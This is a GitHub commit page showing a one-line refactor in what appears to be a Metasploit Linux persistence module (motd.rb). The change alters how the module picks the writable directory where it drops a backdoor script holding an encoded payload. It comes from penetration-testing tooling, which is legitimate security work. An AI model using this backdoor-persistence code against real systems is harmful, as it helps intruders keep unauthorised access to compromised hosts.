We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
1 parent e1e4e43 commit 8bc6114Copy full SHA for 8bc6114
modules/exploits/linux/persistence/motd.rb
@@ -83,7 +83,7 @@ def install_persistence
83
if payload.arch.first == 'cmd'
84
write_file(backdoor_path, "#!/bin/sh\n#{payload.encoded}")
85
else
86
- backdoor_path = datastore['WritableDir']
+ backdoor_path = writable_dir
87
backdoor_path = backdoor_path.end_with?('/') ? backdoor_path : "#{backdoor_path}/"
88
backdoor_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10)
89
backdoor_path << backdoor_name
0 commit comments